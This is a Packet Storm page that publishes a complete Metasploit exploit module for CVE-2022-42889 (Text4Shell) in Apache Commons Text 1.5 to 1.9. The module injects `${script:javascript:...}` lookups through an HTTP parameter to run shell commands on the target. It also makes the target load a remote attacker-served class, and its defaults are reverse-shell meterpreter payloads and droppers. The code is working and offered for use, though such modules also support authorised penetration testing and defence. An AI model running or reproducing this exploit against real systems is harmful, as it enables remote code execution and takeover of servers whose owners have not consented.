what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Commons Text 1.9 Remote Code Execution

Apache Commons Text 1.9 Remote Code Execution
Posted Jan 19, 2024
Authored by Alvaro Munoz, Karthik UJ, Gaurav Jain | Site metasploit.com

This Metasploit module exploit takes advantage of the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to remote code execution. This is due to a logic flaw that makes the script, dns and url lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups primarily using the script key. In order to exploit the vulnerabilities, the following requirements must be met: Run a version of Apache Commons Text from version 1.5 to 1.9, use the StringSubstitutor interpolator, and the target should run JDK versions prior to 15.

tags | exploit, remote, arbitrary, vulnerability, code execution
advisories | CVE-2022-42889
SHA-256 | 3303e5c941051cbc6b4f8ddaa2c9912a8740038a8cc31a244e760936ff9694d8

Apache Commons Text 1.9 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Java::HTTP::ClassLoader

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Commons Text RCE',
'Description' => %q{
This exploit takes advantage of the StringSubstitutor interpolator class,
which is included in the Commons Text library. A default interpolator
allows for string lookups that can lead to Remote Code Execution. This
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
keys interpolated by default, as opposed to what it should be, according
to the documentation of the StringLookupFactory class. Those keys allow
an attacker to execute arbitrary code via lookups primarily using the
"script" key.

In order to exploit the vulnerabilities, the following requirements must
be met:

Run a version of Apache Commons Text from version 1.5 to 1.9
Use the StringSubstitutor interpolator
Target should run JDK < 15
},
'License' => MSF_LICENSE,
'Author' => [
'Alvaro Muñoz', # Original research
'Karthik UJ', # PoC
'Gaurav Jain', # Metasploit module
],
'References' => [
['CVE', '2022-42889'],
['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
],
'Platform' => ['win', 'linux', 'unix', 'java'],
'Targets' => [
[
'Java (in-memory)',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
},
],
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2022-10-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The target URI', '/']),
OptString.new('PARAM', [ true, 'The vulnerable parameter']),
OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])
])
end

def check
vprint_status("Checking if #{peer} can be exploited.")
res = send_exp
return CheckCode::Unknown('No response received from target.') unless res

# blind command injection using sleep command
sleep_time = rand(4..8)
vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
end
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time

CheckCode::Vulnerable('Successfully tested command injection.')
end

def exploit
case target['Type']
when :java
# Start the HTTP server to serve the payload
start_service
# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader
# Handle the payload
handler
when :windows_cmd, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
execute_cmdstager
end
end

def trigger_urlclassloader
url = get_uri

vars = Rex::RandomIdentifier::Generator.new

exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"

res = send_exp(exp)

fail_with(Failure::Unreachable, 'No response received from the target') unless res
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
end

def execute_command(cmd, _opts = {})
vars = Rex::RandomIdentifier::Generator.new

exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"
exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"

res = send_exp(exp)

fail_with(Failure::Unreachable, 'No response received from the target') unless res
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
end

def send_exp(exp = '')
vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
send_request_cgi(
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path),

vars => {
datastore['PARAM'] => "${script:javascript:#{exp}}"
}
)
end

def win_target?
target['Platform'] == 'win'
end

def on_request_uri(cli, request)
case target['Type']
when :java
# Call method to handle java payload staging
super(cli, request)
else
# Handle win/unix cmd staging
client = cli.peerhost
print_status("Client #{client} requested #{request.uri}")
print_status("Sending payload to #{client}")
send_response(cli, exe)
end
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close